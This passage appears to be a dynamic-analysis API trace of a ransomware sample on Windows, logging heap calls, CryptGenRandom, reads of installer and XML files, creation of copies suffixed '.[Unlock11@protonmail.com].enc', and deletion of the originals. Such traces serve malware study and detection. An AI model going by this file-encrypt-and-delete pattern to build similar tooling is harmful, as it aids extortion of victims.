hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.382] GetCurrentThreadId () returned 0x9b0 [0113.382] GetCurrentThreadId () returned 0x9b0 [0113.384] GetCurrentThreadId () returned 0x9b0 [0113.385] GetCurrentThreadId () returned 0x9b0 [0113.386] GetCurrentThreadId () returned 0x9b0 [0113.386] GetCurrentThreadId () returned 0x9b0 [0113.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.386] GetCurrentThreadId () returned 0x9b0 [0113.387] GetCurrentThreadId () returned 0x9b0 [0113.388] GetCurrentThreadId () returned 0x9b0 [0113.388] GetCurrentThreadId () returned 0x9b0 [0113.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0113.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.389] GetCurrentThreadId () returned 0x9b0 [0113.390] GetCurrentThreadId () returned 0x9b0 [0113.391] GetCurrentThreadId () returned 0x9b0 [0113.391] GetCurrentThreadId () returned 0x9b0 [0113.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.391] GetCurrentThreadId () returned 0x9b0 [0113.392] GetCurrentThreadId () returned 0x9b0 [0113.392] GetCurrentThreadId () returned 0x9b0 [0113.392] GetCurrentThreadId () returned 0x9b0 [0113.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.393] GetCurrentThreadId () returned 0x9b0 [0113.394] GetCurrentThreadId () returned 0x9b0 [0113.394] GetCurrentThreadId () returned 0x9b0 [0113.394] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x9015) returned 0x36f8548 [0113.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.394] GetCurrentThreadId () returned 0x9b0 [0113.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9018) returned 0x3887a10 [0113.395] GetCurrentThreadId () returned 0x9b0 [0113.395] GetCurrentThreadId () returned 0x9b0 [0113.395] GetCurrentThreadId () returned 0x9b0 [0113.396] CloseHandle (hObject=0x3ac) returned 1 [0113.396] GetCurrentThreadId () returned 0x9b0 [0113.396] CloseHandle (hObject=0x39c) returned 1 [0113.396] GetCurrentThreadId () returned 0x9b0 [0113.396] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0113.400] GetCurrentThreadId () returned 0x9b0 [0113.400] GetCurrentThreadId () returned 0x9b0 [0113.400] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFilePart=0x9bada4*="ParameterInfo.xml") returned 0x27 [0113.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0113.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0113.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.401] GetCurrentThreadId () returned 0x9b0 [0113.402] GetCurrentThreadId () returned 0x9b0 [0113.402] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae)) returned 1 [0113.402] GetCurrentThreadId () returned 0x9b0 [0113.402] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d7c | out: pbBuffer=0x3662d7c) returned 1 [0113.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0113.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0113.402] GetCurrentThreadId () returned 0x9b0 [0113.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc78 [0113.402] GetCurrentThreadId () returned 0x9b0 [0113.403] GetCurrentThreadId () returned 0x9b0 [0113.403] GetCurrentThreadId () returned 0x9b0 [0113.403] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.403] GetFileType (hFile=0x39c) returned 0x1 [0113.403] GetCurrentThreadId () returned 0x9b0 [0113.403] GetFileType (hFile=0x39c) returned 0x1 [0113.403] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.403] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.403] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.404] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.404] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.404] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.404] GetLastError () returned 0x0 [0113.404] GetCurrentThreadId () returned 0x9b0 [0113.404] GetLastError () returned 0x0 [0113.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0113.404] GetLastError () returned 0x0 [0113.404] GetLastError () returned 0x0 [0113.404] GetLastError () returned 0x0 [0113.404] GetLastError () returned 0x0 [0113.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abb60 [0113.405] GetLastError () returned 0x0 [0113.405] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.405] GetFileType (hFile=0x3ac) returned 0x1 [0113.405] GetLastError () returned 0x0 [0113.405] GetCurrentThreadId () returned 0x9b0 [0113.405] GetLastError () returned 0x0 [0113.406] GetFileType (hFile=0x3ac) returned 0x1 [0113.406] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.406] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.406] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.406] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.406] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.406] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.406] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.406] GetLastError () returned 0x0 [0113.407] GetCurrentThreadId () returned 0x9b0 [0113.407] GetLastError () returned 0x0 [0113.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb60 | out: hHeap=0x2ad0000) returned 1 [0113.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0113.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0113.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.407] GetLastError () returned 0x0 [0113.407] GetLastError () returned 0x0 [0113.407] GetCurrentThreadId () returned 0x9b0 [0113.407] GetLastError () returned 0x0 [0113.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.408] GetLastError () returned 0x0 [0113.408] GetLastError () returned 0x0 [0113.408] GetCurrentThreadId () returned 0x9b0 [0113.408] GetLastError () returned 0x0 [0113.408] GetLastError () returned 0x0 [0113.410] GetLastError () returned 0x0 [0113.410] GetCurrentThreadId () returned 0x9b0 [0113.410] GetLastError () returned 0x0 [0113.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.410] GetCurrentThreadId () returned 0x9b0 [0113.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.411] GetLastError () returned 0x0 [0113.411] GetLastError () returned 0x0 [0113.411] GetLastError () returned 0x0 [0113.411] GetLastError () returned 0x0 [0113.411] GetCurrentThreadId () returned 0x9b0 [0113.411] GetLastError () returned 0x0 [0113.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0113.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0113.412] GetLastError () returned 0x0 [0113.413] GetLastError () returned 0x0 [0113.413] GetCurrentThreadId () returned 0x9b0 [0113.413] GetLastError () returned 0x0 [0113.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.414] GetLastError () returned 0x0 [0113.551] GetLastError () returned 0x0 [0113.551] GetCurrentThreadId () returned 0x9b0 [0113.551] GetLastError () returned 0x0 [0113.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0113.552] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0113.552] GetCurrentThreadId () returned 0x9b0 [0113.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.552] GetLastError () returned 0x0 [0113.552] GetLastError () returned 0x0 [0113.552] GetLastError () returned 0x0 [0113.552] GetLastError () returned 0x0 [0113.552] GetCurrentThreadId () returned 0x9b0 [0113.553] GetLastError () returned 0x0 [0113.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0113.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.553] GetLastError () returned 0x0 [0113.554] GetLastError () returned 0x0 [0113.554] GetCurrentThreadId () returned 0x9b0 [0113.554] GetLastError () returned 0x0 [0113.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.554] GetLastError () returned 0x0 [0113.555] GetLastError () returned 0x0 [0113.556] GetCurrentThreadId () returned 0x9b0 [0113.556] GetLastError () returned 0x0 [0113.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0113.556] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.557] GetCurrentThreadId () returned 0x9b0 [0113.557] GetLastError () returned 0x0 [0113.557] GetLastError () returned 0x0 [0113.557] GetLastError () returned 0x0 [0113.557] GetLastError () returned 0x0 [0113.557] GetLastError () returned 0x0 [0113.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.558] GetLastError () returned 0x0 [0113.581] GetLastError () returned 0x0 [0113.581] GetLastError () returned 0x0 [0113.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.582] GetLastError () returned 0x0 [0113.582] GetLastError () returned 0x0 [0113.582] GetLastError () returned 0x0 [0113.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0113.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0113.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.583] GetLastError () returned 0x0 [0113.583] GetLastError () returned 0x0 [0113.583] GetLastError () returned 0x0 [0113.583] GetLastError () returned 0x0 [0113.583] GetLastError () returned 0x0 [0113.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.584] GetLastError () returned 0x0 [0113.585] GetLastError () returned 0x0 [0113.585] GetLastError () returned 0x0 [0113.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.585] GetLastError () returned 0x0 [0113.585] GetLastError () returned 0x0 [0113.585] GetLastError () returned 0x0 [0113.585] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x26c3) returned 0x35c5908 [0113.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.585] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x26c5) returned 0x35c5908 [0113.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0113.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x26c8) returned 0x38273e0 [0113.586] GetLastError () returned 0x0 [0113.586] GetLastError () returned 0x0 [0113.586] GetLastError () returned 0x0 [0113.586] GetLastError () returned 0x0 [0113.586] GetLastError () returned 0x0 [0113.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0113.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.586] GetLastError () returned 0x0 [0113.587] GetLastError () returned 0x0 [0113.587] GetLastError () returned 0x0 [0113.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.588] GetLastError () returned 0x0 [0113.588] GetLastError () returned 0x0 [0113.588] GetLastError () returned 0x0 [0113.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.588] GetLastError () returned 0x0 [0113.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.588] CloseHandle (hObject=0x3ac) returned 1 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.589] CloseHandle (hObject=0x39c) returned 1 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.589] GetLastError () returned 0x0 [0113.590] GetLastError () returned 0x0 [0113.590] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0113.593] GetLastError () returned 0x0 [0113.593] GetLastError () returned 0x0 [0113.593] GetLastError () returned 0x0 [0113.593] GetLastError () returned 0x0 [0113.593] GetLastError () returned 0x0 [0113.593] GetLastError () returned 0x0 [0113.593] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", lpFilePart=0x9bada4*="RGB9RAST_x64.msi") returned 0x26 [0113.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0113.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.594] GetLastError () returned 0x0 [0113.594] GetLastError () returned 0x0 [0113.594] GetLastError () returned 0x0 [0113.594] GetLastError () returned 0x0 [0113.594] GetLastError () returned 0x0 [0113.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d010 | out: hHeap=0x2ad0000) returned 1 [0113.594] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd68 [0113.594] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] GetLastError () returned 0x0 [0113.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd68 | out: hHeap=0x2ad0000) returned 1 [0113.595] GetLastError () returned 0x0 [0113.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] GetLastError () returned 0x0 [0113.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0113.597] GetLastError () returned 0x0 [0113.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] GetLastError () returned 0x0 [0113.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.598] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200)) returned 1 [0113.598] GetLastError () returned 0x0 [0113.598] GetLastError () returned 0x0 [0113.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0113.598] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d54 | out: pbBuffer=0x3662d54) returned 1 [0113.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0113.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0113.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ccc8 [0113.598] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ccc8 | out: hHeap=0x2ad0000) returned 1 [0113.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd68 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.599] GetLastError () returned 0x0 [0113.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd68 | out: hHeap=0x2ad0000) returned 1 [0113.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb60 [0113.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.600] GetLastError () returned 0x0 [0113.600] GetLastError () returned 0x0 [0113.600] GetLastError () returned 0x0 [0113.600] GetLastError () returned 0x0 [0113.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0113.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba80 [0113.600] GetLastError () returned 0x0 [0113.600] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.601] GetFileType (hFile=0x39c) returned 0x1 [0113.601] GetLastError () returned 0x0 [0113.601] GetLastError () returned 0x0 [0113.601] GetFileType (hFile=0x39c) returned 0x1 [0113.601] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.602] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.602] GetLastError () returned 0x0 [0113.602] GetCurrentThreadId () returned 0x9b0 [0113.602] GetLastError () returned 0x0 [0113.602] HeapFree (in: hHeap=0x2ad0000, 